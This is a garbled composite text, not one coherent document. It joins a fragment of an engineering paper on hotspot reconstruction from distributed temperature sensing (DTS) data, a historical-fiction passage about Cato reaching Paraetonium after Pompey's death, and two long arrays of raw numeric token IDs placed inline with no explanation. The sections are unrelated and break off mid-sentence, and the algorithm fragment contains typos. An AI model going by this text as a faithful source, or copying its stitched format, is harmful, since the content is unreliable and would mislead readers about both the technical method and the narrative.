$\hat{\mathbf{\alpha}}$ is a vector with the values of the thermal power that generate the hotspots in the structure, $p$ is the norm used in the data-fidelity term, $\mathsf{\lambda}$ is the regularization parameter which controls the sensitivity of the solution to the noise, and **Q** is a finite difference matrix. In approximation methods, typical norms used for measuring the deviation are the $L_{p}$-norms for $p$ = 1, 2 and ∞. It is common to use the L~2~ norm in the data term because the noise is usually well represented by a normal distribution \[[@B27-sensors-16-01425],[@B29-sensors-16-01425]\]. However, according to the statistical analysis presented in [Section 3](#sec3-sensors-16-01425){ref-type="sec"}, the DTS acquisition model contains residual errors with Laplacian behavior, which indicates that the L~2~ norm should be replaced by an L~1~ norm, i.e., *p* = 1 \[[@B27-sensors-16-01425]\]. To solve Equation (9) with *p* = 1, we used the Interactive Reweighted Least Squares (IRLS) approach. This method consists of approximating the cost function by weighted quadratic L~2~ norms, updating the solution by solving a least squares problem and reiterating those two steps until some stop criterion is attained, usually defined by a minimum update rate \[[@B31-sensors-16-01425]\]. The implementation details in Matlab^®^ (R2014a, MathWorks, Natick, MA, USA) are shown in Algorithm 1. Algorithm 1: Image Reconstruction Algorithm Require: g \% DTS readings, H \% sensitivity matrix, D \% Dictionary of hotspots, Q \% finite difference matrix Require: λ % Regulariztion parameter (set empirically) Require: e=10 --9 \% avoids zero division Require: H D = H × D \% impulse response of the dictionary Require: α \^ = H D ′ × g \% intial solution

[ 309, 15, 20510, 14265, 32, 309, 4089, 368, 1642, 15, 20510, 14265, 13, 5816, 3846, 26453, 19901, 32, 1621, 13, 417, 26453, 19901, 15, 20510, 14265, 38771, 617, 19338, 2652, 307, 316, 15, 1500, 14528, 779, 13, 309, 2868, 13, 3240, 347, 1199, 347, 368, 2389, 479, 13, 323, 703, 556, 634, 3753, 1128, 251, 3289, 342, 38969, 13, 512, 273, 731, 13831, 407, 617, 20873, 34537, 281, 253, 28480, 273, 1503, 15854, 15, 8452, 369, 1503, 15854, 13, 846, 512, 32, 329, 19456, 1711, 43968, 49851, 665, 5868, 2994, 512, 253, 28548, 1841, 326, 253, 17373, 3534, 441, 281, 4264, 13, 432, 22569, 281, 1175, 2739, 15, 1707, 16544, 253, 39688, 459, 266, 434, 1429, 2, 1284, 323, 2263, 81, 662, 571, 13, 703, 38771, 34343, 15, 49075, 1107, 521, 4475, 13, 2568, 760, 247, 1643, 2607, 2686, 342, 34343, 13, 665, 369, 30005, 48299, 342, 634, 15872, 1020, 7586, 1919, 344, 1669, 323, 12146, 335, 15, 3932, 840, 1128, 26142, 15, 844, 5261, 5811, 285, 26283, 403, 15225, 5608, 15, 187, 187, 29065, 2183, 479, 326, 368, 452, 6747, 439, 9367, 4543, 2624, 634, 4707, 1580, 368, 1669, 9972, 13, 533, 309, 2550, 8564, 634, 9386, 13, 39046, 314, 8370, 2454, 347, 320, 2484, 34643, 433, 347, 247, 5679, 434, 15, 187, 187, 17570, 479, 2139, 13, 24336, 13, 359, 2255, 403, 10256, 281, 1239, 285, 3630, 13, 2568, 403, 1900, 38467, 281, 1790, 387, 1728, 13, 6179, 32, 309, 1364, 564, 13, 309, 2550, 923, 323, 12330, 15, 7764, 13, 309, 2353, 273, 368, 13, 3630, 281, 479, 2, 7918, 479, 3524, 15, 187, 187, 510, 5101, 369, 598, 28, 330, 4611, 369, 247, 46727, 3468, 9414, 15, 2398, 14265, 434, 14084, 369, 1531, 360, 6216, 598, 13, 840, 43816, 1314, 2439, 253, 45531, 1824, 15, 1893, 1199, 323, 26283, 15, 187, 187, 8389, 3564, 497, 18577, 15, 6102, 247, 11339, 13, 11339, 4857, 2, 1916, 2389, 247, 3416, 342, 253, 21337, 7133, 273, 247, 20915, 7239, 250, 310, 417, 247, 987, 769, 13, 2550, 320, 247, 987, 769, 15, 44205, 626, 703, 2096, 326, 1046, 581, 273, 617, 1142, 4876, 2296, 253, 1072, 2181, 32, 44205, 626, 703, 8968, 326, 309, 588, 1620, 3630, 281, 617, 32, 1737, 651, 309, 1333, 32, 1737, 310, 627, 281, 1333, 32, 187, 187, 2302, 11480, 5321, 521, 4455, 281, 3802, 2066, 326, 6149, 90, 12717, 275, 253, 2329, 28, 11648, 2427, 670, 616, 2136, 347, 604, 3063, 497, 816, 1529, 1388, 15, 380, 4131, 14782, 327, 15, 330, 4611, 2335, 247, 1614, 387, 253, 258, 1032, 13, 840, 2427, 896, 281, 1462, 387, 253, 8087, 3405, 1699, 521, 2927, 15, 13529, 2692, 1919, 253, 5101, 369, 3587, 18332, 13, 672, 247, 6906, 13, 16487, 4797, 1386, 5420, 327, 253, 16892, 15, 3771, 347, 330, 4611, 3047, 352, 13, 253, 45758, 355, 23037, 387, 253, 20971, 2522, 35483, 1441, 264, 15, 187, 187, 3, 24731, 2, 8565, 1476, 187, 187, 8389, 6215, 3977, 253, 18500, 13, 534, 1863, 5911, 715, 247, 716, 472, 1658, 3212, 352, 15, 1621, 673, 281, 3213, 715, 521, 10058, 9735, 2994, 13, 594, 344, 2197, 271, 15211, 7861, 316, 2720, 1399, 321, 279, 13, 10467, 3750, 1997, 255, 301, 3750, 13, 275, 521, 8933, 281, 9618, 253, 3403, 1550, 417, 281, 755, 6386, 273, 779, 13, 285, 281, 3698, 9257, 323, 6738, 932, 13, 294, 23172, 13, 8763, 16419, 15, 380, 1824, 574, 8423, 2489, 1077, 20126, 285, 2590, 347, 253, 1682, 367, 1137, 10424, 5253, 13, 342, 253, 1072, 16487, 314, 4797, 703, 257, 1024, 326, 253, 5101, 369, 417, 48147, 745, 352, 15, 187, 187, 510, 2659, 2210, 598, 6685, 3809, 984, 352, 369, 594, 6507, 13, 417, 247, 11562, 30396, 497, 908, 281, 13, 30795, 281, 31474, 4811, 835, 1029, 14700, 294, 1096, 275, 2810, 18326, 281, 253, 6150, 285, 3021, 1160, 2659, 7985, 1142, 6574, 432, 16838, 15, 1916, 330, 4611, 434, 6619, 13, 253, 259, 9358, 272, 5101, 4950, 2586, 625, 4759, 685, 258, 5316, 28, 604, 10583, 265, 8899, 13, 840, 627, 369, 690, 3524, 273, 23749, 15, 4325, 443, 48918, 316, 40868, 90, 434, 25244, 344, 3260, 326, 627, 369, 760, 581, 10858, 327, 253, 4314, 14, 39179, 14, 25430, 8852, 875, 38783, 285, 12552, 18946, 3737, 27, 39084, 18807, 1514, 13, 40689, 13651, 253, 6495, 574, 873, 745, 6420, 281, 253, 269, 5063, 258, 4914, 273, 3052, 2163, 13, 627, 281, 42810, 342, 253, 22437, 7728, 316, 15, 187, 187, 47904, 18807, 1514, 13, 359, 1364, 1089, 39084, 18807, 1514, 2, 1292, 310, 352, 8935, 273, 1060, 13, 390, 310, 352, 9268, 32, 187, 187, 36, 4611, 18572, 264, 275, 253, 5004, 273, 247, 34707, 285, 7303, 281, 9580, 247, 1355, 17167, 273, 8734, 365, 66, 1128, 9328, 574, 1077, 1652, 1669, 1128, 7461, 13222, 253, 1791, 9181, 715, 253, 1824, 347, 344, 34469, 27, 187, 187, 3, 48, 512, 9094, 17373, 13, 407, 39347, 1416, 9094, 5730, 281, 320, 1929, 13, 273, 5913, 2825, 390, 642, 2825, 9094, 403, 13, 1339, 479, 5476, 9113, 1476, 187, 187, 34, 40777, 30942, 432, 3094, 316, 2210, 327, 253, 7392, 273, 521, 12678, 28, 344, 2427, 281, 253, 13595, 13, 38712, 327, 247, 10058, 2963, 412, 875, 253, 20762, 14, 9458, 7357, 398, 273, 253, 7863, 30514, 491, 258, 1032, 15, 187, 187, 3, 31216, 13, 359, 1614, 9268, 1078, 253, 5448, 449, 187, 187, 3650, 1740, 6574, 1066, 253, 8852, 330, 4611, 434, 269, 1032, 429, 264, 2927, 2335, 275, 253, 8184, 273, 767, 4512, 787, 25428, 342, 253, 13032, 281, 247, 17699, 875, 731, 13, 285, 581, 390, 767, 16059, 14, 67, 4662, 9910, 15, 1310, 436, 497, 39084, 18807, 1514, 13, 840, 253, 3874, 574, 281, 320, 3304, 253, 22754, 15, 380, 13032, 369, 278, 967, 342, 16419, 13, 533, 247, 2590, 10056, 2242, 2761, 275, 697, 4766, 28, 767, 35089, 38570, 387, 253, 7357, 398, 285, 330, 4611, 434, 6215, 3531, 13, 258, 1032, 275, 4697, 323, 253, 32183, 13, 281, 15901, 715, 247, 5389, 6468, 15, 187, 187, 1328, 39787, 13, 305, 19613, 1070, 15, 9064, 8370, 11811, 2168, 2242, 387, 18536, 2, 8452, 13, 665, 32, 21994, 1643, 323, 352, 281, 320, 10118, 1914, 316, 13, 594, 665, 32, 187, 187, 2374, 253, 896, 14190, 273, 253, 17699, 369, 247, 16059, 14, 67, 4662, 13, 10058, 3874, 15, 19662, 1904, 626, 2647, 13, 2167, 15, 7900, 332, 952, 6940, 26708, 13, 627, 369, 3033, 281, 320, 1721, 494, 1824, 285, 690, 10067, 323, 7289, 15, 1244, 344, 651, 3517, 1089, 562, 534, 30396, 9633, 253, 11811, 13, 512, 12060, 253, 9975, 18787, 33945, 386, 432, 616, 20971, 22089, 15, 46741, 30396, 15, 187, 187, 1328, 2427, 15898, 410, 275, 521, 10058, 9735, 11704, 407, 253, 7861, 316, 2720, 1399, 321, 279, 13, 10467, 3750, 1997, 255, 301, 3750, 28, 253, 2862, 3072, 273, 39084, 18807, 1514, 13, 690, 2800, 4289, 23729, 13, 369, 21817, 598, 2112, 247, 11600, 13, 29553, 272, 387, 253, 8184, 273, 13719, 1943, 11811, 2403, 2245, 581, 387, 247, 673, 15, 2064, 344, 1537, 417, 320, 2104, 281, 13791, 342, 253, 39084, 18807, 2458, 858, 417, 2826, 281, 779, 28, 4130, 11678, 7560, 11308, 13, 253, 20365, 66, 35271, 74, 15, 187, 187, 510, 806, 3000, 344, 3735, 13, 2299, 13, 497, 12760, 15, 5761, 952, 12293, 3579, 13, 247, 23639, 3416, 275, 617, 4766, 2500, 47798, 285, 247, 3521, 4906, 8920, 15, 330, 4611, 305, 7760, 13, 533, 1078, 344, 812, 1333, 2712, 253, 3416, 574, 13547, 327, 521, 7623, 275, 42303, 273, 12330, 13, 285, 253, 8920, 369, 13756, 281, 259, 804, 521, 1133, 745, 15, 187, 187, 3, 3220, 11761, 14656, 29173, 6365, 5021, 2, 1244, 1023, 633, 316, 40868, 3750, 2, 9876, 436, 1599, 326, 40868, 3750, 18482, 316, 310, 1060, 865, 344, 2546, 15, 187, 187, 34, 1953, 534, 4269, 14656, 29173, 6365, 5021, 281, 359, 554, 12150, 13, 285, 873, 1023, 633, 316, 40868, 90, 281, 17800, 1512, 15, 7160, 20993, 2918, 247, 3935, 27, 40868, 90, 253, 6495, 369, 3846, 15, 187, 187, 6175, 344, 6225, 342, 40868, 90, 253, 6495, 434, 7002, 4475, 2500, 967, 1475, 521, 7623, 1824, 272, 521, 19445, 14, 3399, 3466, 281, 2485, 285, 3597, 281, 1021, 695, 366, 521, 1133, 432, 1023, 633, 316, 40868, 90, 434, 15909, 13, 247, 2581, 1774, 14, 13565, 637, 275, 247, 27846, 11308, 10839, 280, 7428, 598, 281, 731, 13, 247, 1355, 994, 38529, 275, 521, 11772, 15, 187, 187, 3, 42, 717, 24336, 20510, 68, 3750, 330, 4611, 449, 187, 187, 3, 42, 717, 6778, 38332, 15125, 3, 369, 253, 3662, 13, 1677, 342, 271, 2048, 326, 753, 330, 4611, 434, 1416, 5486, 8839, 2717, 281, 247, 39084, 18807, 757, 15, 187, 187, 24804, 436, 369, 253, 990, 273, 253, 1533, 2, 187, 187, 5279, 8955, 275, 6778, 38332, 15125, 434, 16453, 2419, 344, 6311, 253, 18580, 2926, 273, 40868, 90, 253, 6495, 275, 18797, 316, 1514, 13, 273, 253, 14373, 1399, 321, 279, 4005, 303, 3750, 665, 574, 298, 1520, 40868, 90, 715, 247, 9735, 285, 281, 521, 2471, 13, 534, 14656, 29173, 6365, 5021, 285, 1023, 633, 316, 574, 21153, 432, 616, 6215, 15, 22607, 296, 3668, 273, 512, 13, 4005, 303, 3750, 574, 17513, 745, 40868, 90, 434, 1481, 13, 1691, 352, 275, 247, 21152, 13, 840, 1669, 253, 2133, 10776, 327, 253, 16059, 47350, 15, 187, 187, 3, 6067, 21517, 1342, 15887, 285, 253, 5006, 665, 369, 521, 15945, 574, 4783, 275, 253, 50097, 1994, 342, 619, 3392, 13, 533, 597, 16139, 407, 3515, 1977, 937, 1023, 633, 316, 753, 15, 346, 1231, 812, 513, 2717, 281, 1361, 1128, 49, 293, 316, 1514, 22754, 369, 2120, 273, 253, 22437, 6963, 434, 29401, 13, 285, 2067, 16860, 16458, 497, 12206, 1066, 327, 441, 15, 22660, 359, 11791, 281, 320, 10848, 285, 3164, 5339, 1512, 13, 390, 359, 1691, 281, 6150, 449, 754, 22638, 13, 521, 6208, 572, 36731, 15, 346, 42, 3260, 534, 2282, 619, 3392, 651, 452, 3078, 13, 594, 359, 18436, 449, 187, 187, 18765, 617, 36822, 273, 12330, 574, 14245, 598, 13, 14656, 29173, 6365, 5021, 9945, 1652, 281, 253, 7827, 15, 1359, 1199, 703, 556, 4391, 13, 330, 4611, 1869, 13, 344, 665, 11766, 8344, 824, 1841, 15, 1500, 574, 644, 253, 419, 9932, 10558, 273, 869, 695, 757, 30845, 41965, 13, 6122, 273, 253, 14688, 461, 6365, 437, 316, 1810, 532, 900, 13, 806, 7028, 281, 253, 11504, 3347, 273, 40868, 90, 434, 7832, 275, 767, 273, 521, 772, 335, 19794, 13, 24336, 17247, 249, 3750, 7306, 515, 316, 15, 2635, 7306, 515, 316, 285, 617, 5938, 574, 873, 562, 281, 42879, 253, 11491, 273, 253, 2956, 394, 2458, 13, 285, 591, 1428, 387, 31247, 3227, 70, 15, 380, 5261, 12997, 14656, 29173, 6365, 5021, 574, 2489, 247, 3569, 43392, 13, 323, 40868, 90, 369, 5261, 12997, 1512, 13, 253, 2471, 273, 34343, 434, 27261, 37032, 9086, 715, 253, 2469, 15, 1893, 253, 10163, 74, 13, 1690, 330, 4611, 13, 574, 17944, 281, 42103, 40868, 90, 253, 6495, 432, 34343, 28, 253, 760, 1039, 13, 597, 3543, 13, 281, 3785, 40868, 90, 327, 281, 253, 10163, 74, 1930, 369, 281, 1918, 779, 14656, 29173, 6365, 5021, 347, 521, 747, 4475, 15, 9052, 42807, 7996, 670, 521, 1211, 26591, 20801, 313, 37132, 290, 460, 13, 533, 342, 253, 18580, 35809, 273, 12146, 335, 2879, 281, 326, 582, 40868, 90, 1900, 7028, 2255, 273, 253, 4585, 49578, 15, 1244, 665, 369, 2169, 685, 14656, 29173, 6365, 5021, 32, 329, 1398, 5483, 273, 1810, 532, 900, 8118, 316, 285, 329, 358, 3093, 316, 3643, 962, 316, 13, 642, 1679, 15, 31960, 323, 10163, 74, 6378, 2, 380, 6974, 574, 4307, 15, 3032, 27579, 9469, 13, 40868, 90, 574, 17985, 24695, 617, 37774, 13, 285, 3395, 13, 604, 417, 581, 273, 253, 10163, 74, 13, 387, 1878, 616, 2810, 25550, 15, 187, 187, 688, 12300, 703, 574, 4821, 347, 703, 3407, 13, 1210, 6030, 1598, 9979, 13, 4484, 604, 417, 1066, 918, 5412, 13, 4518, 5001, 5972, 347, 617, 3392, 434, 45121, 11232, 5893, 15, 39138, 281, 247, 40868, 3750, 432, 20424, 14379, 369, 247, 29103, 25795, 628, 13, 1014, 604, 436, 1798, 40868, 3750, 369, 253, 3973, 3083, 275, 12300, 15, 754, 816, 1904, 626, 452, 253, 2614, 13, 594, 14656, 29173, 6365 ]

I. Porcia? I hear you ask. Porcia, missing dead Bibulus? No, not Bibulus. Porcia misses her cousin Brutus. She loves him, I believe, quite as much as you love me, for she has your nature—on fire with passions, all of them frozen by her absurd devotion to the teachings of Zeno. Who was Zeno, after all? A silly old Cypriot who denied himself all the glorious things that the gods gave us to enjoy, from laughter to good food. There speaks the Epicurean's child! As for Calpurnia, she misses Caesar. Eleven years his wife, yet only a few months actually with Caesar, who was philandering with your frightful sister until he left for Gaul. Since then—nothing. We widows and wives are poorly served. Someone told me that you have neither shaved nor cut your hair since you left Italy, but I cannot imagine your wonderful, nobly Roman face as bewhiskered as a Jew's. Tell me why, Marcus, we women are taught to read and write, yet are always doomed to sit at home, waiting? I must go, I cannot see for tears. Please, I beg of you, write to me! Give me hope. The sun was up; Cato was a painfully slow reader. Marcia's scroll was crumpled up, then skimmed across the sparkling water. So much for wives. His hands were shaking. Such a stupid, stupid letter! To love a woman with the consuming intensity of a funeral pyre is not a right act, cannot be a right act. Doesn't she understand that every one of her many letters says the same thing? Doesn't she realize that I will never write to her? What would I say? What is there to say? No nose save his seemed to snuff that earthy tang in the air; everybody went about their business as if today were just another day. The morning wore on. Cato took a turn at the oars, then went back to stand at the rail straining his eyes. Nothing showed until the sun was directly overhead, when a thin, faint blue line appeared on the horizon. Just as Cato saw it, the sailor aloft at the masthead shrieked. "Land! Land!" His ship led the fleet, which swelled into a teardrop behind it. No time to step into his tiny boat himself, so he sent an eager pilus prior centurion, Lucius Gratidius, in his stead to instruct the captains not to get ahead of him, and to watch carefully for shoals, reefs, hidden rocks. The water had suddenly become very shallow and clear as the best Puteoli glass, with the same faintly blue sheen now that the sun was not glancing off it. The land came up extremely fast because it was so flat, not a phenomenon Romans were used to, accustomed to sailing regions where high mountains reared in close proximity to the sea and thus made land visible many miles from shore. To Cato's relief, the westering sun revealed country more green than ocher; if grasses grew, then there was some hope of civilization. From Gnaeus Pompey's pilots he knew that there was only one settlement on the eight-hundred-mile coast between Alexandria and Cyrenaica: Paraetonium, whence Alexander the Great had set off south to the fabled oasis of Ammon, there to converse with the Egyptian Zeus. Paraetonium, we must find Paraetonium! But is it west of here, or is it east? Cato scraped in the bottom of a sack and managed to gather a small handful of chickpea—they had very little left—then threw the legumes into the water as he prayed: "O all ye gods, by whichever name ye wish to be known, of whatever sex or no sex ye are, let me guess correctly!" A brisk gust from Corus came on the echo of his plea; he went to the captain, stationed on a tiny poop between the rope-bound tillers of the massive rudder oars. "Captain, we turn east before the wind." Not four miles down the coast Cato's farsighted eyes took in the sight of two slight bluffs with the entrance to a bay between them, and one or two mud-brick houses. If this were Paraetonium, then the town had to be inside the harbor. The entrance was mined with rocks, but a clear passage lay almost in its middle; two sailors shoved at the tillers and Cato's ship turned, oars inboard for the maneuver, to sail into a beautiful haven. He gasped, goggled. Three Roman ships already lay at anchor! Who, who? Too few for it to be Labienus, so who? On the back reaches of the bay was a mud-brick, tiny town. Size didn't matter, though. Wherever people lived collectively, there was bound to be potable water and some provisions for sale. And he would soon find out which Romans owned the ships, all flying the SPQR pennant from their mastheads. Important Romans. He went ashore in his tiny boat accompanied by the pilus prior centurion, Lucius Gratidius; the entire population of Paraetonium, some six hundred souls, was lined up along a beach, marveling at the sight of fifty big ships making port one at a time. That he might not be able to communicate with the Paraetonians did not occur to him; everyone everywhere spoke Greek, the lingua mundi. The first words he heard, however, were Latin. Two people stepped forward, a handsome woman in her middle twenties and a stripling youth. Cato gaped, but before he could say anything the woman had fallen on his neck in floods of tears, and the youth was attempting to wring his hand off. "My dear Cornelia Metella! And Sextus Pompeius! Does this mean that Pompeius Magnus is here?" he asked. A question which caused Cornelia Metella to weep harder, and set Sextus Pompey to crying too. Their grief held a message: Pompey the Great was dead. While he stood with Pompey the Great's fourth wife twined around his neck watering his purple-bordered toga and tried to extricate his hand from Sextus Pompey's grasp, a rather important-looking man in a tailored Greek tunic walked up to them, a small entourage in his wake. "I am Marcus Porcius Cato." "I am Philopoemon" was the answer, given with an expression that said Cato's name meant absolutely nothing to a Paraetonian. Indeed this was the end of the world! Over dinner in Philopoemon's modest house he learned the awful story of Pompey the Great in Pelusium, of the retired centurion Septimius who had lured Pompey into a boat and to his death, which Cornelia Metella and Sextus had witnessed from their ship. Worst news of all, Septimius had chopped off Pompey's head, put it in a jar, then left the body lying on the mud flats. "Our freedman Philip and the boy who was his slave had gone in the dinghy with my father, but they survived by running away," Sextus said. "We could do nothing to help—Pelusium harbor was full of the Egyptian king's navy, and several warships were bearing down on us. Either we stayed to be captured and probably killed too, or we put to sea." He shrugged, his mouth quivering. "I knew which course my father would have wanted, so we fled." Though her fountain of tears had dried up, Cornelia Metella contributed little to the conversation. How much she has changed, Cato thought, he who rarely noticed such things. She had been the haughtiest of patrician aristocrats, daughter of the august Metellus Scipio, first married to the elder son of Pompey's partner in two of his consulships, Marcus Licinius Crassus. Then Crassus and her husband had set out to invade the Kingdom of the Parthians, and perished at Carrhae. The widowed Cornelia Metella had become a political pawn, for Pompey was widowed too, the death of Caesar's Julia slipping rapidly into the past. So the boni, including Cato, had plotted to detach Pompey the Great from Caesar; the only way, they felt, to pull Pompey on to the boni side was to give him Cornelia Metella as his new wife. Extremely sensitive about his own obscure origins (Picentine, but with the awful stigma of Gaul added to that), Pompey always married women of the highest nobility. And who was higher than Cornelia Metella? A descendant of Scipio Africanus and Aemilius Paullus, no less. Perfect for boni purposes! The scheme had worked. His gratitude patent, Pompey had espoused her eagerly, and became, if not one of the boni, at least their close ally. In Rome she had continued as she began, insufferably proud, cool if not downright cold, clearly regarding herself as her father's sacrificial animal. Marriage to a Pompeius from Picenum was a shocking comedown, even if this particular Pompeius was the First Man in Rome. He just didn't have the blood, so Cornelia Met

[ 582, 29928, 21821, 3383, 615, 4762, 64, 1020, 620, 1746, 582, 3686, 407, 7368, 1979, 285, 5386, 34791, 790, 3383, 15227, 44678, 907, 481, 24083, 13, 24417, 8484, 497, 29102, 387, 10694, 6, 3425, 6489, 970, 19226, 20756, 3383, 24670, 64, 302, 316, 582, 534, 3797, 475, 615, 17590, 11, 19114, 3525, 8570, 15, 9157, 13, 19114, 6555, 6430, 497, 5176, 970, 530, 2775, 10650, 3951, 67, 1797, 3725, 2908, 275, 3694, 5522, 19226, 20756, 342, 3806, 4438, 3383, 976, 553, 64, 709, 10, 1411, 28613, 3724, 18784, 292, 1010, 64, 2693, 6620, 15, 7957, 66, 3951, 67, 1423, 8562, 1876, 3290, 14, 45407, 6430, 497, 18301, 281, 19114, 3525, 14, 4924, 24417, 8484, 285, 271, 24417, 54, 2829, 369, 3562, 970, 19226, 20756, 3383, 316, 3849, 64, 14456, 481, 13662, 22255, 9162, 273, 253, 5055, 3806, 6430, 313, 2415, 8484, 10, 369, 2684, 342, 475, 19783, 64, 28704, 64, 9292, 13646, 64, 31421, 15, 4789, 11, 1411, 322, 3077, 16568, 322, 6971, 5447, 3727, 15567, 15, 18, 3951, 67, 1508, 8562, 9052, 83, 12003, 5028, 24417, 8484, 13, 10410, 4488, 9346, 13, 285, 440, 39651, 24417, 8484, 497, 5176, 432, 253, 10895, 407, 19693, 475, 10978, 64, 302, 86, 64, 2420, 15, 4789, 4556, 24046, 14023, 497, 2684, 387, 253, 1072, 8957, 3184, 3434, 13, 17617, 253, 8840, 1180, 273, 6430, 407, 3632, 501, 312, 4906, 313, 740, 15, 933, 9563, 591, 3410, 481, 36983, 37175, 13, 9765, 285, 9840, 9991, 8197, 497, 3413, 970, 253, 1165, 2267, 5288, 6001, 475, 1637, 11, 2582, 11, 376, 709, 1913, 39467, 4789, 4556, 8758, 14, 10994, 23964, 37613, 13642, 313, 18971, 5942, 10, 285, 7605, 5216, 497, 2684, 342, 253, 30622, 5522, 3951, 67, 1348, 3725, 275, 416, 3951, 67, 1099, 8562, 187, 187, 3233, 15648, 187, 7770, 187, 187, 510, 18433, 14, 423, 9563, 273, 253, 1668, 52, 30509, 3320, 12184, 497, 17063, 275, 253, 3313, 5197, 323, 34628, 8339, 313, 3233, 330, 3535, 337, 481, 380, 10895, 8414, 273, 22287, 1182, 6390, 10601, 1267, 50, 4367, 326, 497, 11742, 407, 253, 34710, 39066, 3694, 313, 15041, 25029, 582, 534, 3797, 1471, 503, 48572, 272, 285, 8570, 273, 23675, 6430, 15, 380, 24417, 54, 2829, 313, 302, 86, 64, 2420, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 89, 5200, 89, 10, 908, 323, 512, 6260, 285, 253, 3969, 8612, 24417, 54, 6430, 29102, 387, 10694, 6, 6380, 6489, 313, 302, 86, 64, 45997, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 7957, 66, 10, 403, 12482, 387, 3036, 18316, 15, 681, 313, 3233, 330, 3535, 374, 481, 187, 187, 31019, 474, 42519, 187, 13058, 187, 187, 23779, 273, 1668, 52, 30509, 3320, 48537, 251, 5978, 369, 6537, 407, 16725, 253, 48537, 251, 1979, 313, 36344, 28564, 1186, 12303, 10, 285, 5928, 273, 24920, 569, 327, 271, 39086, 9480, 15, 9157, 13, 4016, 313, 9343, 4884, 1293, 7646, 10, 285, 2762, 5760, 313, 1541, 4986, 3882, 273, 475, 38, 15, 14347, 11, 22886, 22, 66, 10, 497, 2684, 281, 5416, 24410, 273, 253, 7091, 25267, 15, 1916, 4796, 1896, 8477, 31306, 13, 512, 8477, 84, 497, 2684, 275, 34862, 285, 846, 23609, 24462, 1298, 303, 6062, 15, 187, 187, 31838, 21812, 187, 15765, 187, 187, 510, 24417, 54, 2829, 313, 302, 86, 64, 2420, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 89, 5200, 89, 10, 908, 323, 512, 6260, 285, 253, 3969, 8612, 24417, 54, 6430, 29102, 387, 10694, 6, 6380, 6489, 313, 302, 86, 64, 45997, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 7957, 66, 10, 403, 12482, 387, 3036, 18316, 313, 3233, 330, 3535, 374, 481, 187, 187, 14087, 8339, 187, 17863, 187, 187, 424, 2347, 281, 26542, 436, 3929, 6098, 42749, 13, 399, 15, 475, 292, 355, 5929, 39205, 10741, 7888, 273, 1073, 3298, 248, 280, 1363, 342, 25488, 273, 475, 2019, 493, 6992, 900, 1487, 2171, 38914, 11, 5066, 15, 475, 4316, 74, 15, 5128, 11, 577, 27, 1166, 520, 3583, 28076, 27, 884, 15, 43224, 16, 84, 2203, 15, 7132, 15, 17472, 313, 7132, 481, 187, 187, 424, 33983, 434, 3877, 6098, 23001, 13375, 4558, 9238, 342, 2743, 281, 26244, 3916, 275, 3863, 8115, 285, 15772, 37295, 15, 187, 187, 9227, 17724, 1712, 52, 18, 94, 187, 17863, 187, 187, 1552, 789, 369, 14597, 407, 253, 7671, 2418, 273, 20672, 32008, 2421, 13, 427, 728, 398, 1392, 348, 5114, 2706, 30675, 357, 313, 55, 56, 59, 47, 1619, 2511, 481, 844, 5717, 418, 15, 8449, 49290, 285, 353, 15, 416, 484, 16825, 323, 26604, 1907, 2684, 9412, 23943, 285, 27796, 23943, 15, 844, 5717, 253, 1363, 285, 5875, 15986, 665, 2530, 616, 32217, 3530, 15, 187, 187, 510, 4477, 11165, 642, 11771, 4832, 6284, 15, 187, 187, 3138, 35, 24097, 3114, 5889, 387, 2021, 1268, 273, 1966, 32217, 3530, 15626, 275, 436, 1263, 4880, 187, 510, 10741, 3114, 10104, 403, 1754, 327, 15942, 43653, 3943, 313, 2415, 54, 13, 2931, 387, 10694, 6, 6380, 6489, 10, 4294, 275, 32217, 3530, 273, 7127, 1363, 342, 30709, 24838, 273, 475, 36, 15, 2171, 38914, 11, 5066, 285, 4791, 30192, 1453, 4292, 2796, 79, 13912, 2787, 481, 2596, 32217, 3410, 591, 3110, 369, 908, 285, 48537, 251, 8477, 84, 497, 2684, 275, 34862, 323, 436, 1783, 15, 43914, 13, 534, 12322, 271, 11921, 273, 2406, 685, 337, 6, 275, 253, 2862, 10895, 13, 497, 17903, 347, 7520, 29821, 15, 29666, 11921, 273, 475, 36, 15, 2171, 38914, 11, 2796, 6432, 431, 15436, 493, 6992, 1514, 2171, 38914, 11, 275, 322, 3077, 16568, 5447, 15567, 15, 18, 10, 310, 8653, 11794, 285, 12322, 4585, 14259, 281, 475, 2019, 493, 6992, 900, 1487, 2171, 38914, 11, 7372, 43138, 18687, 209, 693, 313, 11501, 279, 1180, 13874, 520, 3571, 1093, 481, 17763, 321, 1196, 273, 30709, 275, 21410, 310, 4860, 407, 5043, 313, 15325, 12322, 30709, 10, 285, 19734, 313, 2369, 30709, 582, 1543, 432, 18124, 1975, 6120, 273, 475, 36, 15, 2171, 38914, 11, 5066, 2796, 36, 15, 277, 5929, 278, 15, 246, 2698, 403, 2011, 2708, 313, 11095, 13, 14962, 5762, 323, 475, 36, 15, 2171, 38914, 25350, 19734, 13, 18123, 5762, 323, 475, 36, 15, 2171, 38914, 21292, 3327, 566, 285, 5928, 273, 475, 36, 15, 2171, 38914, 11, 275, 48537, 251, 941, 2796, 36, 15, 277, 5929, 427, 10339, 10, 403, 4860, 407, 5043, 313, 15068, 10, 285, 19734, 313, 5375, 290, 481, 5128, 5162, 285, 7091, 5657, 403, 2529, 275, 2508, 275, 253, 3082, 2593, 5774, 84, 2203, 7132, 17472, 14, 71, 18, 4253, 71, 18, 94, 187, 187, 3138, 11001, 12735, 1783, 273, 253, 10741, 3114, 432, 1966, 32217, 3530, 4880, 187, 11592, 14, 10994, 23964, 37613, 13642, 313, 18971, 5942, 10, 1754, 327, 17375, 914, 338, 8306, 3951, 67, 805, 3725, 369, 908, 281, 3148, 253, 10741, 3114, 2605, 275, 11275, 32217, 3530, 387, 1072, 12184, 3434, 313, 740, 15, 933, 9563, 591, 3410, 481, 26394, 432, 1363, 665, 12322, 30709, 387, 673, 273, 10491, 403, 2349, 833, 407, 16673, 15, 26394, 432, 1363, 326, 497, 14962, 5762, 327, 475, 36, 15, 2171, 38914, 11, 407, 18124, 1975, 1071, 403, 7101, 407, 5043, 13, 3530, 273, 1363, 835, 475, 36, 15, 2171, 38914, 11, 369, 5189, 275, 253, 48537, 251, 10895, 403, 7101, 407, 2831, 15, 11149, 1979, 6125, 253, 23165, 9991, 313, 5414, 13, 27955, 4479, 84, 1777, 1190, 15716, 399, 2095, 3951, 67, 1731, 3725, 10, 273, 253, 44027, 13, 3530, 403, 2349, 343, 31836, 407, 